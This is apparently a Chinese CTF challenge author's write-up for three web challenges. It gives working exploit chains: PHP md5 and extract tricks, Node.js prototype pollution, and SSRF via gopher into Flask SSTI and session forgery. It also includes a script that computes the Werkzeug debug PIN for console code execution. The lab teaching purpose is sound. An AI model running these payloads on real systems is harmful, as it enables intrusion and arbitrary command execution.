写在前面

nmd 新生赛一堆老东西来💥🐟是吧.

👴本来出了三道题,但是有道题因为名字写错了,导致没上成,👴真 tm 是个 sb,👴自认为题目出的简单了,以下细说.

废案之 easy_php

👴tm 本来投题写的是 easy_php, 结果在出题文档写了 ez_php,Xenny 老师没给我上,不过没啥事,毕竟这题太简单了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

highlight_file(__FILE__);
error_reporting(0);
$num = $_GET['num'];

$param1 = $_GET['param1'];
$param2 = $_GET['param2'];
if($param2!==$param1&&md5($param2)===md5($param1)){
echo "太好了,你绕过了最简单的一层<br/>";


if(strlen($num)<=3 & intval($num)>999999999){
echo "恭喜你进来了,继续吧<br/>";
$kanozyo = "katoumegumi";
$kami = "enterprise";

$content = base64_decode("PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTsgPz4=");
$file = "new_file.php";
extract($_POST);
if($kanozyo==="lishanweilai"&&$kami === "korey0sh1"){
file_put_contents($file,"<?php die();".$content);

}else{
echo "太可惜了,我并不是神,我的老婆可是栗山未来<br/>";
}

}else{
die("不够大,太长了<br/>");

}


}else{


die("这么简单的md5都不会绕?<br/>");
}

反正 php 特性的总结,太简单了,👴不想写 wp 了

成神之日

同样简单的 js, 我以为很多老东西能解出来,没想到只有两个,还有一个是 tm 问我思路的.

源码给你了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
const express = require("express");
const cookieParser = require('cookie-parser')
var crypto = require('crypto');
const app = express();

let list = {
'PWN':'korey0sh1','WEB1':'welk1n','WEB2':'zymic','MISC':"Cat_zn",'CRYPTO':'Big_Dick'
};
const flag = process.env.FLAG
function generateRandomNumber() {
const randomBytes = crypto.randomBytes(4);
const randomNumber = randomBytes.readUInt32LE(0);
return randomNumber;
}
let admin_token = generateRandomNumber();

const hash = (token) => crypto.createHash('md5').update(token).digest('hex');//简单的md5加密捏

app.get('/', (req, res) => {


res.sendFile(__dirname + "/index.html");
});

app.get('/src', (_, res) => {
res.sendFile(__filename);
});

app.get('/api/add', (req, res) => {
let { x, y, namae } = req.query;
if (x && y && namae) list[x][y] = namae;
res.json(list);
});

app.get('/flag', (req, res) => {
let userData = {};
if (req.cookies && req.cookies.admin === true) {
userData.admin = true
userData.token = admin_token;
}


if (userData.admin && req.query.token
&& hash(`Korey0sh1_love_you${req.query.token}zymic_1s_god`) === userData.token) {
res.send(flag);
} else {
res.send("NO");
}

});

app.listen(3000, "0.0.0.0");

很明显 flag 是需要条件的,需要 userData.admintrue , 且和字符串拼接后 md5 加密的值与 userData.token 相同.

看到这里,有师傅想着通过 cookies 进入 if, 使得 userData.admin 为 true, 恭喜你,你需要重启靶机了🤣.

正解如下

原型链污染

这段路由可控变量太多了,js 有个东西叫做原型链污染,简单来说就是每个对象默认有个属性 Prototype 指向对象的原型,并且对象的原型也是原型.

大部分正常对象的原型是 Object . 可以认为 Object 是所有类的父类, Object 也有自己的原型,就是 NULL , Object 的构造函数指向 Function .

Function 是用于创造函数对象的,在 js, 函数也可以看作对象,不过这里就不细讲了.

然后一个对象可以通过访问其 __proto__ 去获取它的原型对象.

js 有个特性,那就是如果访问一个属性,这个属性该对象不具备的话,并不会直接返回 undefined, 而是会顺着其原型链一级一级往上找,类似于子类找不到的属性从父类找,但是 JS 可以找到向上找 Object, 然后到 NULL , 都没有的话,就会返回 undefined.

注意:如果要原型链污染,一定需要该对象没有某个属性的值,如果该对象某个属性的值存在,就会直接返回.

所以我说之前靠 cookies 的师傅,恭喜你们掉进坑里了,想要做出来还是得重启靶机了.😊🤣

如果两个对象共享一个原型,通过其中一个对象改变了原型的属性,那么也会影响另一个对象的原型.

题目实现

1
2
3
4
5
app.get('/api/add', (req, res) => {
let { x, y, namae } = req.query;
if (x && y && namae) list[x][y] = namae;
res.json(list);
});

大部分题目都会去污染 Object , 毕竟 Object 基本上是所有对象都会有的原型.

这里 x , y , namae 都可控,直接改原型就行了.

这里就可以将 admin 改成 true , 但是还不够,还要将 token 改成我们想要的任意值,污染 userdata 的原型,影响其 token 的返回值

1
2
3
/api/add?x=__proto__&y=admin&namae=1
/api/add?x=__proto__&y=token&namae=33e981e155eb62f5646de98c23e0ce02
/flag?token=1

这么打就能满足条件了.

Double_SS 之正解

这道题本来是想整个 SSRF 触发 SSTI 的,然后测试的时候不断修改,先是 file 协议直接读 flag 的非预期,气得👴直接将 flag 改成 400 权限了,然后 python 服务用 root 开启,这样子只能通过 python 去读👴的 flag,👴真 tm 是个天才.

不过👴并没有 ban 各种协议,这就导致我后面发现了一个非预期,不过这个非预期比预期复杂程度高多了,当然我后面也会写,想学的师傅可以看看.

源码鉴赏一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);


//try to access 5555 port



回到正题,上来就是 php 源码,很明显打个 SSRF,👴还贴心地告诉你找 5555 端口 (其实是👴忘了有 file 协议这玩意可以读源码,不然👴把这个 hint 给你 ban 了,难死你们几个 byd)

然后打过去,发现有回显,很明显是个 flask,👴甚至还告诉你 secretkey , 够仁慈了吧.

不然👴直接让你读内存拿 key.

1702047781163

👴还告诉你怎么 SSTI 了,那么就很简单了.

不懂 SSTI 的自行上网搜,网上大把文章,👴的 waf 也只是象征性地写一下,绕一下很容易的.

这里还涉及到 flasksession 伪造的.

flasksession 伪造

直接上脚本

脚本网上很多,其中比较常用的是

https://github.com/noraj/flask-session-cookie-manager

用法也有,简单展示一下

1
python flask_session_cookie_manager3.py encode -s "76bcf327-fd33-44f3-98eb-530a7351ea1d" -t "{'admin':1}"

1702048442240

本地生成

这个更简单了,这种思维应对很多题目都非常有用.

👴没 banfile 协议,直接读源码都行1702048496042

理论上自己写个 flask, 设置一下 key 访问都行,实在不会,把源码放在本地里跑,key 一换就行了

1702049073350

1702049061471

gopher 协议

session 搞定了,但是最终还有个问题,就是直接去请求只能携带 get 参数,不能携带 cookie.

于是这时候就需要用的 gopher 协议了,简单来说,就是可以通过一种特殊的形式,传递完整的数据包,包括携带 headers,post 传参之类的.

形式如下:

1
gopher://127.0.0.1<:port爱写不写>/_<二次url编码过后的整个报文>

于是使用 python 的 +urllib.parse 制造一个脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
import urllib.parse
test2 =\
"""GET /name?name=%7B%7B%22%22%5B%22__c%22%22lass__%22%5D%5B%22__b%22%22ases__%22%5D%5B0%5D%5B%22__subcl%22%22asses__%22%5D()%5B133%5D%5B%22__in%22%22it__%22%5D%5B%22__gl%22%22obals__%22%5D%5B'po''pen'%5D('ca''t%20%2F*').read()%7D%7D HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhZG1pbiI6MX0.ZXM1Hw.3T3ehyY4yIAG3x107z5UT3hKTD4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.69
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
"""
tmp = urllib.parse.quote(test2)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:5555/'+'_'+urllib.parse.quote(new)
print(result)

不过由于 python 多行引用是只有单换行,而报文结尾是 \r\n , 所以需要替换一下.

最后 ssti 如下

1
{{""["__c""lass__"]["__b""ases__"][0]["__subcl""asses__"]()[133]["__in""it__"]["__gl""obals__"]['po''pen']('ca''t /*').read()}}

简单的中括号获取属性,字符串拼接,没啥好说的

记得 url 编码后放在报文里面.

1702049519480

比较简单

Double_SS 之非预期

由于👴代码是缝缝补补出来的,忘记关 debug, 于是就是有非预期,而且咋就那么巧呢,还可以通过 file 协议读文件.

但是 SSRF 利用 console 有一定难度,各位师傅看看就好.

算 pin 码

debug 模式开了之后,访问 console 会出现一个输入 pin 码的地方,输入正确的 pin, 就能进去执行任意 python 代码,不过 pin 码是有算法逻辑的.

1702049670007

具体来说脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import hashlib
from itertools import chain

probably_public_bits = [
"root",#/etc/passwd
"flask.app",#默认
"Flask",#默认
'/usr/local/lib/python3.9/dist-packages/flask/app.py' ,#一个路径信息
]
addr = "02:42:ac:02:1d:64"
boot_id = "fcf66b92-efb4-40db-b14b-952a04033668"
cgroup = "4184c5b8cc23b91413e5c41e35a5c66ea81cc007e0cc3ed46d5c55bf2d3e3524"
private_bits = [
str(int("0x"+addr.replace(":",""),16)), #/sys/class/net/eth0/address 十六进制转十进制
boot_id+cgroup
]#读取/proc/sys/kernel/random/boot_id和/proc/self/cgroup拼接而成
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)
print(cookie_name)

这么长也不用害怕,因为都是从库的源码里面翻出来的,我们只是对传入的参数依照题目环境修改

分为两部分

1
2
3
4
5
6
7
probably_public_bits = [
"root",#/etc/passwd
"flask.app",#默认
"Flask",#默认
'/usr/local/lib/python3.9/dist-packages/flask/app.py' ,#flask的路径,通过报错得到
]

第一部分的信息来源

用户信息:当前用户,由于我是 root 权限开启,直接就是 root, 中间都是默认的

路径信息直接报错得到

1702049838743

第二部分

1
2
3
4
private_bits = [
str(int("0x"+addr.replace(":",""),16)), #/sys/class/net/eth0/address 十六进制转十进制
boot_id+cgroup
]

按照要求读每个文件就行,

1702049893093

boot_id: 读取 /proc/sys/kernel/random/boot_id/etc/machineid 能读到哪个就用哪个

1702050335020

1702049999452

cgroup: 当前进程分配,读 /proc/self/cgroup , 取一行最后一个 / 的最后所有部分,不满足两个 / 号就放空

正常来说直接就算 pin 码就行了,但是本题由于是通过 SSRF 去触发的,实际上是不能直接和 console 的算 pin 码的地方直接就行交互

要通过参数进行 rce.

修改本地环境

有些参数需要本地环境修改搭起来后才能获取,于是修改本地的一些参数.

要修改的地方在 site-packages\werkzeug\debug\__init__.py

1702050449222

直接改参数就好

生成 pin 如下:

1702050531867

进去输入 hello world

1702050577664

观察本地日志

image-20231208235006244

可以看到是如何进行交互的,需要输入一些参数

1
/console?&__debugger__=yes&cmd=print('hello%20world')&frm=0&s=3FZpTUaj0dQxTYcLZEgS

cmd 就是我们的 python 指令,frm 为 0 不用管.

s 的话访问 console 就会返回

1702050693994

记得通过源码去观看

最后还有个 cookies, 因为目前还没有任何东西能证明我们输入的 pin 码是对的,那么能证明 pin 码的就是 cookie

image-20231209101236504

使用该 cookie 访问,访问 console 不会要求你输入 pin 码.

1
__wzd9b6ccf942a2d4be0994c=1702050544|7042449f328c

exp

1
2
3
4
5
6
7
8
9
10
11
test3 =\
"""GET /console?__debugger__=yes&cmd=__import__('os').popen('cat%20%2Fflag').read()&frm=0&s=9FPI6o2CgAggq3jBjcV9 HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhZG1pbiI6MX0.ZWbvig.l215-wFOVQ7HHFD-xi2pkMNxaIM;__wzd9b6ccf942a2d4be0994c=1702050544|7042449f328c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.69
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
"""
tmp = urllib.parse.quote(test3)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:5555/'+'_'+urllib.parse.quote(new)
print(result)

1702050965591

这是有回显的,曾经复现过 SCTF 无回显的 SSRF, 难度爆炸.

END